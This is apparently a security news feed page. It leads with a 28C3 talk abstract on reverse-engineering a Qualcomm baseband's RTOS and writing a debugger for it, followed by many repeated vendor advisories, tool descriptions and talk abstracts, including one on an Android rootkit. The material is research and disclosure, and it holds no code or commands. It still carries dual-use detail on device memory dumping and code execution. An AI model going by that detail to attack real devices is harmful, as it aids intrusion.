Chaos Communication Congress 28th (28C3) 2011 Abstract: Despite their wide presence in our lives, baseband chips are still nowadays poorly known and understood from a system point of view. Some presentations have hilighted vulnerabilities in GSM stacks across various models of basebands (cf. 27c3: All your baseband are belong to us by R-P. Weinmann). However none of them actually focused on the details of how a baseband operating system really works. This is the focus of our presentation. From the study of a simple 3G USB stick equipped with a Qualcomm baseband, we will discuss how to dump the volatile memory, reverse-engineer the proprietary RTOS, and ultimately execute and debug code while trying to preserve the real-time system constraints. Introduction The following work has resulted from a straightforward observation: security in the baseband world is something hard to reach. Anyone trying to get into it is confronted with two obstacles. At the network level, one has to apprehend the extremely massive 3GPP specifications. At the system level, basebands are just undocumented and closed-source pieces of code running in embedded chips. Consequently, a baseband is mostly seen as a blackbox running code for a terrifyingly complex network stack. Given the complexity of the involved network protocols, and the fact that telephony stacks are historically old pieces of code, it is fairly acceptable to think that vulnerabilities can be found inside basebands. Ralf-Philipp Weinmann has already demonstrated this claim during the 27C3 event in 2010. Finding and triggering vulnerabilities in basebands sound very appealing, but we have to remember that these are only preliminary steps before the final exploitation. And for any exploitation to succeed, one has to know the environment into which the code is currently running. What is the architecture? What is the operating system? What does the memory look like? How is structured the heap? Can I safely return to some point and resume the execution? For those reasons and out of curiosity, I started exploring the core of a Qualcomm baseband. The targeted device is the Icon 225 3G USB stick. It embeds a MSM6280 Qualcomm baseband based on the ARMv5TEJ architecture, plus two proprietary DSPs. No application processor is present on those USB sticks. Qualcomm basebands are also notably present on HTC phones. Dumping the device memory The first step for understanding the baseband code is to manage to get a look at it. Plugging the USB stick fires up three serial ports over the USB link. The first one is used to handle Hayes commands to control the modem. The two other ones are unknown at first glance. However I remarked that a little tool for SIM-unlocking a device made use of one of those serial ports. After dumping the USB packets, it appeared this serial link actually handles diagnostic commands for Qualcomm. The protocol used is very simple and allows at least writing and executing code into a small region of the memory. Injecting a custom payload allowed me to quickly dump the entire contents of the memory (32MB). On the ARM architecture, the first piece of code to be executed is a ROM located at 0xffff0000. Reverse-engineering this primary bootloader (PBL) gives us the entry point to the secondary bootloader (SBL). Then disassembling the RAM dump from this address clearly indicates we have one-to-one physical to virtual memory mapping. Reverse engineering the RTOS The embedded code inside the baseband is a proprietary operating system from Qualcomm. The real-time microkernel seems to be called REX, while the operating system itself is named AMSS. I have reverse-engineered most part of the microkernel primitives including: the scheduler the inter-tasks communication mechanism the asynchronous/deferred procedure calls mechanism the timers the heap memory structure and allocation routines The kernel implements lightweight processes called tasks. All tasks share the same virtual address space. MMU is set up at boot time with a virtual to physical mapping and the first 12MB of memory are marked read-only. NX is not enabled (thus everything is executable). Three tasks are created automatically at boot time: the idle task the DPC task, responsible for dispatching deferred procedure calls the main task, responsible for running all the other tasks When fully started, AMSS is made up of approximatively 70 running tasks. They are dedicated to hardware management (DSP, USB, USIM, Vocoder, ...), network stacks management for each layer (GSM L1/L2/L3, SMS, RRC, LLC, and so on), and miscellaneous features (in particular the diagnostic task). Although the USB stick is only intended to be used for data over 3G, the operating system is a full-blown baseband supporting all kinds of telephony stacks and features. The tasks communicate with each other by the mean of signals and buffer queues. A command buffer is pushed on a FIFO queue and a signal is sent to the task for processing. Regarding the memory allocation management, the operating system mainly uses two kinds of heaps. The first heap has a classical free blocks-tracking structure where tasks can allocate arbitrary memory blocks using the malloc/free functions. Another kind of heap is also used on top of the former to represent the memory as a contiguous stream of data that tasks can produce and consume (suited for network data flow). Code execution and debugging Static analysis of the whole operating system is possible, but the code is pretty massive and a lot of interactions between different tasks are involved at run-time. Since code execution is possible on the device, I investigated how to dynamically debug system code. I present here the architecture of the debugger I am currently writing (this is still a work in progress). The main point is to be able to debug the operating system with the fewest possible side-effects. In a nutshell, the debugger has to be real-time compliant as much as possible. For the communication with the debugger, I decided to reuse the diagnostic task channel over USB by implementing custom command handlers. The debugger then relies on the GDB server protocol implemented over the diagnostic channel protocol, itself being over USB. We have access to the interrupt vectors, and we can put BKPT instructions anywhere as well (everything is running in ARM supervisor mode and we can disable the MMU if necessary). If the exception address is a watchpoint, we dump the state of registers and stack, and set up a DPC to acknowledge the debugger of the event. Then execution is immediately resumed. If the exception address is a breakpoint, then we set up a DPC for the debugger and put the task into a wait state allowing other tasks to be immediately scheduled. The execution for the waiting task can be resumed by the debugger by sending it a special signal. The debugger is making use of its own separated heap and queue at a high address, not to interfere with other operating system tasks while processing debug events. Of course some tasks will need to process code at timely events, especially those at the lowest layers, so specific care has to be taken not to put breakpoints that would possibly break the RF processing. ARMv5 has no native support for single-stepping the code. Single-step is implemented by predicting the next PC address and putting a breakpoint at it. Notes and further thoughts Information about the code execution environment on basebands is clearly lacking in the literature. On the contrary of previous presentations on the same topic, this presentation focuses on the details of a proprietary baseband operating system, in this case Qualcomm's. I intend to do a demonstration of the debugger for the presentation, and to release the source code later on. Future areas of work may include a study of the proprietary DSPs and the possibility to locally fuzz the baseband without using a base station.
-
12:55
»
SecDocs
Authors:
Guillaume Delugré Tags:
phone Event:
Chaos Communication Congress 28th (28C3) 2011 Abstract: Despite their wide presence in our lives, baseband chips are still nowadays poorly known and understood from a system point of view. Some presentations have hilighted vulnerabilities in GSM stacks across various models of basebands (cf. 27c3: All your baseband are belong to us by R-P. Weinmann). However none of them actually focused on the details of how a baseband operating system really works. This is the focus of our presentation. From the study of a simple 3G USB stick equipped with a Qualcomm baseband, we will discuss how to dump the volatile memory, reverse-engineer the proprietary RTOS, and ultimately execute and debug code while trying to preserve the real-time system constraints. Introduction The following work has resulted from a straightforward observation: security in the baseband world is something hard to reach. Anyone trying to get into it is confronted with two obstacles. At the network level, one has to apprehend the extremely massive 3GPP specifications. At the system level, basebands are just undocumented and closed-source pieces of code running in embedded chips. Consequently, a baseband is mostly seen as a blackbox running code for a terrifyingly complex network stack. Given the complexity of the involved network protocols, and the fact that telephony stacks are historically old pieces of code, it is fairly acceptable to think that vulnerabilities can be found inside basebands. Ralf-Philipp Weinmann has already demonstrated this claim during the 27C3 event in 2010. Finding and triggering vulnerabilities in basebands sound very appealing, but we have to remember that these are only preliminary steps before the final exploitation. And for any exploitation to succeed, one has to know the environment into which the code is currently running. What is the architecture? What is the operating system? What does the memory look like? How is structured the heap? Can I safely return to some point and resume the execution? For those reasons and out of curiosity, I started exploring the core of a Qualcomm baseband. The targeted device is the Icon 225 3G USB stick. It embeds a MSM6280 Qualcomm baseband based on the ARMv5TEJ architecture, plus two proprietary DSPs. No application processor is present on those USB sticks. Qualcomm basebands are also notably present on HTC phones. Dumping the device memory The first step for understanding the baseband code is to manage to get a look at it. Plugging the USB stick fires up three serial ports over the USB link. The first one is used to handle Hayes commands to control the modem. The two other ones are unknown at first glance. However I remarked that a little tool for SIM-unlocking a device made use of one of those serial ports. After dumping the USB packets, it appeared this serial link actually handles diagnostic commands for Qualcomm. The protocol used is very simple and allows at least writing and executing code into a small region of the memory. Injecting a custom payload allowed me to quickly dump the entire contents of the memory (32MB). On the ARM architecture, the first piece of code to be executed is a ROM located at 0xffff0000. Reverse-engineering this primary bootloader (PBL) gives us the entry point to the secondary bootloader (SBL). Then disassembling the RAM dump from this address clearly indicates we have one-to-one physical to virtual memory mapping. Reverse engineering the RTOS The embedded code inside the baseband is a proprietary operating system from Qualcomm. The real-time microkernel seems to be called REX, while the operating system itself is named AMSS. I have reverse-engineered most part of the microkernel primitives including: the scheduler the inter-tasks communication mechanism the asynchronous/deferred procedure calls mechanism the timers the heap memory structure and allocation routines The kernel implements lightweight processes called tasks. All tasks share the same virtual address space. MMU is set up at boot time with a virtual to physical mapping and the first 12MB of memory are marked read-only. NX is not enabled (thus everything is executable). Three tasks are created automatically at boot time: the idle task the DPC task, responsible for dispatching deferred procedure calls the main task, responsible for running all the other tasks When fully started, AMSS is made up of approximatively 70 running tasks. They are dedicated to hardware management (DSP, USB, USIM, Vocoder, ...), network stacks management for each layer (GSM L1/L2/L3, SMS, RRC, LLC, and so on), and miscellaneous features (in particular the diagnostic task). Although the USB stick is only intended to be used for data over 3G, the operating system is a full-blown baseband supporting all kinds of telephony stacks and features. The tasks communicate with each other by the mean of signals and buffer queues. A command buffer is pushed on a FIFO queue and a signal is sent to the task for processing. Regarding the memory allocation management, the operating system mainly uses two kinds of heaps. The first heap has a classical free blocks-tracking structure where tasks can allocate arbitrary memory blocks using the malloc/free functions. Another kind of heap is also used on top of the former to represent the memory as a contiguous stream of data that tasks can produce and consume (suited for network data flow). Code execution and debugging Static analysis of the whole operating system is possible, but the code is pretty massive and a lot of interactions between different tasks are involved at run-time. Since code execution is possible on the device, I investigated how to dynamically debug system code. I present here the architecture of the debugger I am currently writing (this is still a work in progress). The main point is to be able to debug the operating system with the fewest possible side-effects. In a nutshell, the debugger has to be real-time compliant as much as possible. For the communication with the debugger, I decided to reuse the diagnostic task channel over USB by implementing custom command handlers. The debugger then relies on the GDB server protocol implemented over the diagnostic channel protocol, itself being over USB. We have access to the interrupt vectors, and we can put BKPT instructions anywhere as well (everything is running in ARM supervisor mode and we can disable the MMU if necessary). If the exception address is a watchpoint, we dump the state of registers and stack, and set up a DPC to acknowledge the debugger of the event. Then execution is immediately resumed. If the exception address is a breakpoint, then we set up a DPC for the debugger and put the task into a wait state allowing other tasks to be immediately scheduled. The execution for the waiting task can be resumed by the debugger by sending it a special signal. The debugger is making use of its own separated heap and queue at a high address, not to interfere with other operating system tasks while processing debug events. Of course some tasks will need to process code at timely events, especially those at the lowest layers, so specific care has to be taken not to put breakpoints that would possibly break the RF processing. ARMv5 has no native support for single-stepping the code. Single-step is implemented by predicting the next PC address and putting a breakpoint at it. Notes and further thoughts Information about the code execution environment on basebands is clearly lacking in the literature. On the contrary of previous presentations on the same topic, this presentation focuses on the details of a proprietary baseband operating system, in this case Qualcomm's. I intend to do a demonstration of the debugger for the presentation, and to release the source code later on. Future areas of work may include a study of the proprietary DSPs and the possibility to locally fuzz the baseband without using a base station.
-
-
19:46
»
Packet Storm Security Advisories
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
19:46
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
19:46
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2012-0376-01 - SystemTap is an instrumentation system for systems running the Linux kernel. The system allows developers to write scripts to collect data on the operation of the system. An invalid pointer read flaw was found in the way SystemTap handled malformed debugging information in DWARF format. When SystemTap unprivileged mode was enabled, an unprivileged user in the stapusr group could use this flaw to crash the system or, potentially, read arbitrary kernel memory. Additionally, a privileged user could trigger this flaw when tricked into instrumenting a specially-crafted ELF binary, even when unprivileged mode was not enabled.
-
-
9:10
»
Packet Storm Security Recent Files
Whitepaper called Attacking the Washington, D.C. Internet Voting System. In 2010, Washington, D.C. developed an Internet voting pilot project that was intended to allow overseas absentee voters to cast their ballots using a website. The authors of this paper participated in a challenge to break the security of the system and in doing so, elected Bender from Futurama to the school board.
-
9:10
»
Packet Storm Security Misc. Files
Whitepaper called Attacking the Washington, D.C. Internet Voting System. In 2010, Washington, D.C. developed an Internet voting pilot project that was intended to allow overseas absentee voters to cast their ballots using a website. The authors of this paper participated in a challenge to break the security of the system and in doing so, elected Bender from Futurama to the school board.
-
-
7:35
»
Packet Storm Security Advisories
Red Hat Security Advisory 2012-0312-03 - The initscripts package contains system scripts to boot your system, change runlevels, activate and deactivate most network interfaces, and shut the system down cleanly. With the default IPsec ifup script configuration, the racoon IKE key management daemon used aggressive IKE mode instead of main IKE mode. This resulted in the preshared key hash being sent unencrypted, which could make it easier for an attacker able to sniff network traffic to obtain the plain text PSK from a transmitted hash.
-
7:35
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2012-0312-03 - The initscripts package contains system scripts to boot your system, change runlevels, activate and deactivate most network interfaces, and shut the system down cleanly. With the default IPsec ifup script configuration, the racoon IKE key management daemon used aggressive IKE mode instead of main IKE mode. This resulted in the preshared key hash being sent unencrypted, which could make it easier for an attacker able to sniff network traffic to obtain the plain text PSK from a transmitted hash.
-
-
3:09
»
SecDocs
Authors:
Tsukasa Ooi Tags:
Android rootkit Event:
Black Hat Abu Dhabi 2011 Abstract: Android devices have been repeatedly hacked for root privileges. Sometimes by malware authors, and sometimes by users themselves. This is because if someone gains root privileges, he or she can gain control of the parts of the system which are most useful for attackers (and for users as well). But this is not the end of the story - we need a bit more knowledge to gain much privilege inside the Android application system. On the other hand, some Japanese Android smartphones have an extra Linux Security Module (LSM) to prevent these rooting issues and protect the system from being overwritten. But because of Android's security weaknesses and incomplete LSM protection, the Android application system can still be taken over by exploitation. This presentation explains what we can/cannot do if we gain root privileges on an Android device, and introduces a new kind of Android rootkit. This rootkit needs only root privileges (no kernel-mode, no ptrace) and bypasses all existing security modules. This fact implies the possibility of advanced Android malware.
-
3:09
»
SecDocs
Authors:
Tsukasa Ooi Tags:
Android rootkit Event:
Black Hat Abu Dhabi 2011 Abstract: Android devices have been repeatedly hacked for root privileges. Sometimes by malware authors, and sometimes by users themselves. This is because if someone gains root privileges, he or she can gain control of the parts of the system which are most useful for attackers (and for users as well). But this is not the end of the story - we need a bit more knowledge to gain much privilege inside the Android application system. On the other hand, some Japanese Android smartphones have an extra Linux Security Module (LSM) to prevent these rooting issues and protect the system from being overwritten. But because of Android's security weaknesses and incomplete LSM protection, the Android application system can still be taken over by exploitation. This presentation explains what we can/cannot do if we gain root privileges on an Android device, and introduces a new kind of Android rootkit. This rootkit needs only root privileges (no kernel-mode, no ptrace) and bypasses all existing security modules. This fact implies the possibility of advanced Android malware.
-
-
3:11
»
Packet Storm Security Recent Files
The Bastille Hardening program locks down an operating system, configuring the system for increased security. It currently supports Red Hat, Fedora Core, Red Hat Enterprise, SuSE, SuSE Enterprise, Mandrake, Debian, and Gentoo, HP-UX, and Apple's Mac OS X.
-
3:11
»
Packet Storm Security Misc. Files
The Bastille Hardening program locks down an operating system, configuring the system for increased security. It currently supports Red Hat, Fedora Core, Red Hat Enterprise, SuSE, SuSE Enterprise, Mandrake, Debian, and Gentoo, HP-UX, and Apple's Mac OS X.
-
11:01
»
Hack a Day
[Sprite_TM] was tapped to build a rather large quiz buzzer system. Judging from his past work we’re not surprised that he seemed to have no trouble fulfilling the request. As the system is not likely to be used again (or rarely if it is) he found a way to finish the project that was both [...]
-
-
8:14
»
Packet Storm Security Recent Files
DACS is a light-weight single sign-on and role-based access control system providing flexible, modular authentication methods and powerful, transparent rule-based authorization checking for Web services, CGI programs, or virtually any program.
-
8:14
»
Packet Storm Security Tools
DACS is a light-weight single sign-on and role-based access control system providing flexible, modular authentication methods and powerful, transparent rule-based authorization checking for Web services, CGI programs, or virtually any program.
-
8:14
»
Packet Storm Security Misc. Files
DACS is a light-weight single sign-on and role-based access control system providing flexible, modular authentication methods and powerful, transparent rule-based authorization checking for Web services, CGI programs, or virtually any program.
-
-
18:08
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
18:08
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
14:21
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
14:21
»
Packet Storm Security Tools
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
14:21
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
16:19
»
Packet Storm Security Recent Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
16:19
»
Packet Storm Security Tools
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
16:19
»
Packet Storm Security Misc. Files
conntrack-tools is a set of userspace tools for Linux that allow system administrators to interact with the Connection Tracking System, the module which provides stateful packet inspection for iptables. It includes the userspace daemon conntrackd and the commandline interface conntrack.
-
-
7:25
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
7:25
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
12:53
»
Hack a Day
Here’s a camera mount that moves smoothly along a motorized sled. [Bart Dring] created the system and was surprised by it’s popularity, having received several sales requests from photographers. He originally designed the linear bearing system, called the MakerSlide as an inexpensive alternative to other CNC machine solutions. Allowing a computer to map out timed [...]
-
-
15:01
»
Hack a Day
[Flowolf] added an auto-locking RFID entry system to his front door. He used our favorite fabrication system, acrylic and threaded rod (we also like to throw in aluminum angle bracket from time to time). The support structure mounts underneath the escutcheon plate for the lockset, keeping the main acrylic sheet flat against the door. An [...]
-
-
7:41
»
Packet Storm Security Advisories
Ubuntu Security Notice 1300-1 - A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. Various other issues were also addressed.
-
7:41
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1300-1 - A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. Various other issues were also addressed.
-
7:41
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1300-1 - A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. Various other issues were also addressed.
-
-
8:37
»
Packet Storm Security Recent Files
Ubuntu Security Notice 1291-1 - A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. Various other issues were also addressed.
-
8:37
»
Packet Storm Security Misc. Files
Ubuntu Security Notice 1291-1 - A bug was discovered in the XFS filesystem's handling of pathnames. A local attacker could exploit this to crash the system, leading to a denial of service, or gain root privileges. A flaw was found in the Journaling Block Device (JBD). A local attacker able to mount ext3 or ext4 file systems could exploit this to crash the system, leading to a denial of service. Clement Lecigne discovered a bug in the HFS file system bounds checking. When a malformed HFS file system is mounted a local user could crash the system or gain root privileges. Various other issues were also addressed.
-
-
6:01
»
Hack a Day
On his blog, [Kenneth Finnegan] recently showed off a replica of a fun toy he used to play with as a kid, a telephone intercom system. The setup is pretty simple, requiring little more than a pair of analog phones, a battery, and a resistor. The phones are connected to one another using a standard [...]
-
-
16:42
»
Packet Storm Security Recent Files
Tripwire is a very popular system integrity checker, a utility that compares properties of designated files and directories against information stored in a previously generated database. Any changes to these files are flagged and logged, including those that were added or deleted, with optional email and pager reporting. Support files (databases, reports, etc.) are cryptographically signed.
-
16:42
»
Packet Storm Security Tools
Tripwire is a very popular system integrity checker, a utility that compares properties of designated files and directories against information stored in a previously generated database. Any changes to these files are flagged and logged, including those that were added or deleted, with optional email and pager reporting. Support files (databases, reports, etc.) are cryptographically signed.
-
16:35
»
Packet Storm Security Advisories
Red Hat Security Advisory 2011-1465-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. IPv6 fragment identification value generation could allow a remote attacker to disrupt a target system's networking, preventing legitimate users from accessing its services. A signedness issue was found in the Linux kernel's CIFS implementation. A malicious CIFS server could send a specially-crafted response to a directory read request that would result in a denial of service or privilege escalation on a system that has a CIFS share mounted.
-
16:35
»
Packet Storm Security Recent Files
Red Hat Security Advisory 2011-1465-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. IPv6 fragment identification value generation could allow a remote attacker to disrupt a target system's networking, preventing legitimate users from accessing its services. A signedness issue was found in the Linux kernel's CIFS implementation. A malicious CIFS server could send a specially-crafted response to a directory read request that would result in a denial of service or privilege escalation on a system that has a CIFS share mounted.
-
16:35
»
Packet Storm Security Misc. Files
Red Hat Security Advisory 2011-1465-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. IPv6 fragment identification value generation could allow a remote attacker to disrupt a target system's networking, preventing legitimate users from accessing its services. A signedness issue was found in the Linux kernel's CIFS implementation. A malicious CIFS server could send a specially-crafted response to a directory read request that would result in a denial of service or privilege escalation on a system that has a CIFS share mounted.
-
-
8:24
»
Hack a Day
One thing that annoyed [Jashua] to no end was hearing his automated sprinkler system kick on in the middle of the night, when it had rained earlier in the day. He wished that his sprinklers were a bit smarter, so he decided to give the system an upgrade. Rather than pay hundreds of dollars for [...]
-
-
9:01
»
Hack a Day
It seems like every Hackerspace should have some type of kludged together access system on their entry door. [Vasilis] wrote in to share the system called Jarvis that controls access to P-Space, a Hackerspace in Patras, Greece. It’s an RFID-based system that offers a few nice features. They already have a server running the webpage, so basing [...]
-
-
13:00
»
SecurityFocus Vulnerabilities
Cisco Security Advisory: Cisco TelePresence System Integrator C Series and Cisco TelePresence EX Series Device Default Root Account Manufacturing Error
-
10:20
»
Packet Storm Security Advisories
Cisco Security Advisory - Software that runs on Cisco TelePresence System Integrator C Series and Cisco TelePresence EX Series devices was updated to include secure default configurations beginning with the TC4.0 release. This change was accompanied by the release of Cisco Security Advisory cisco-sa-20110202-tandberg. Due to a manufacturing error, Cisco TelePresence System Integrator C Series and Cisco TelePresence EX Series devices that were distributed between November 18th, 2010 and September 19th, 2011 may have the root account enabled. Information on how to identify affected devices is available in the Details section of this advisory. Information on how to remediate this issue is available in the Workarounds section of this advisory.
-
10:20
»
Packet Storm Security Recent Files
Cisco Security Advisory - Software that runs on Cisco TelePresence System Integrator C Series and Cisco TelePresence EX Series devices was updated to include secure default configurations beginning with the TC4.0 release. This change was accompanied by the release of Cisco Security Advisory cisco-sa-20110202-tandberg. Due to a manufacturing error, Cisco TelePresence System Integrator C Series and Cisco TelePresence EX Series devices that were distributed between November 18th, 2010 and September 19th, 2011 may have the root account enabled. Information on how to identify affected devices is available in the Details section of this advisory. Information on how to remediate this issue is available in the Workarounds section of this advisory.
-
-
15:01
»
Hack a Day
The crew at the Milwaukee Hackerspace are pretty serious about their beer. They used to have a fridge filled with cans, available to all at the hackerspace, but they decided to beef things up and create a secured beer dispensing system. Like many others we have seen, their kegerator is built into an old refrigerator, [...]
-
-
23:20
»
Packet Storm Security Advisories
Secunia Security Advisory - Debian has issued an update for linux-2.6. This fixes multiple weaknesses and vulnerabilities, which can be exploited by malicious, local users to disclose certain system information, bypass certain security restrictions, cause a DoS (Denial of Service), and to potentially gain escalated privileges, by malicious people with physical access to potentially compromise a vulnerable system, and by malicious people to cause a DoS and potentially compromise a vulnerable system.
-
-
14:01
»
Hack a Day
After seeing a writeup online that demonstrated how to build an “Emergency Party Button”, [spikec] knew that he had to have one of his own. He happened to have a USAF B-8 stick grip from an A-10A aircraft laying around, and figured it would be perfect for controlling the A/V system in his basement. The [...]
-
-
19:11
»
SecuriTeam
The Cisco Internet Streamer application, part of the Cisco Content Delivery System (Cisco CDS), contains a Web Server vulnerability.
-
Make your website safer. Use external penetration testing service. First report ready in one hour!
-
19:07
»
SecuriTeam
A remote memory corruption vulnerability was discovered in 7T Interactive Graphical SCADA System.
-
Make your website safer. Use external penetration testing service. First report ready in one hour!
-
15:30
»
Packet Storm Security Advisories
Cisco Security Advisory - CiscoWorks Common Services for Microsoft Windows contains a vulnerability that could allow an authenticated, remote attacker to execute arbitrary commands on the affected system with the privileges of a system administrator. Cisco has released free software updates that address this vulnerability. There are no workarounds that mitigate this vulnerability.
-
15:30
»
Packet Storm Security Recent Files
Cisco Security Advisory - CiscoWorks Common Services for Microsoft Windows contains a vulnerability that could allow an authenticated, remote attacker to execute arbitrary commands on the affected system with the privileges of a system administrator. Cisco has released free software updates that address this vulnerability. There are no workarounds that mitigate this vulnerability.
-
15:30
»
Packet Storm Security Misc. Files
Cisco Security Advisory - CiscoWorks Common Services for Microsoft Windows contains a vulnerability that could allow an authenticated, remote attacker to execute arbitrary commands on the affected system with the privileges of a system administrator. Cisco has released free software updates that address this vulnerability. There are no workarounds that mitigate this vulnerability.
-
-
21:44
»
Packet Storm Security Exploits
File Management System versions 1.2.1a and below suffer from a remote SQL injection vulnerability that allows for arbitrary file download.
-
21:44
»
Packet Storm Security Misc. Files
File Management System versions 1.2.1a and below suffer from a remote SQL injection vulnerability that allows for arbitrary file download.
-
-
7:59
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
8:01
»
Hack a Day
From the dark recesses of the Internet circa 2009 comes the BioBrick-A-Bot, a liquid handling system for molecular biologists. The 2009 iGEM competition was a student competition to build devices for synthetic biology. The BioBrick-A-Bot’s goal is to build a simple, low-cost liquid handling system that sucks liquids out of petri dishes and into vials. [...]
-
-
18:59
»
Packet Storm Security Recent Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
18:59
»
Packet Storm Security Tools
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
18:59
»
Packet Storm Security Tools
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
18:59
»
Packet Storm Security Misc. Files
The Mandos system allows computers to have encrypted root file systems and at the same time be capable of remote or unattended reboots. The computers run a small client program in the initial RAM disk environment which will communicate with a server over a network. All network communication is encrypted using TLS. The clients are identified by the server using an OpenPGP key that is unique to each client. The server sends the clients an encrypted password. The encrypted password is decrypted by the clients using the same OpenPGP key, and the password is then used to unlock the root file system.
-
-
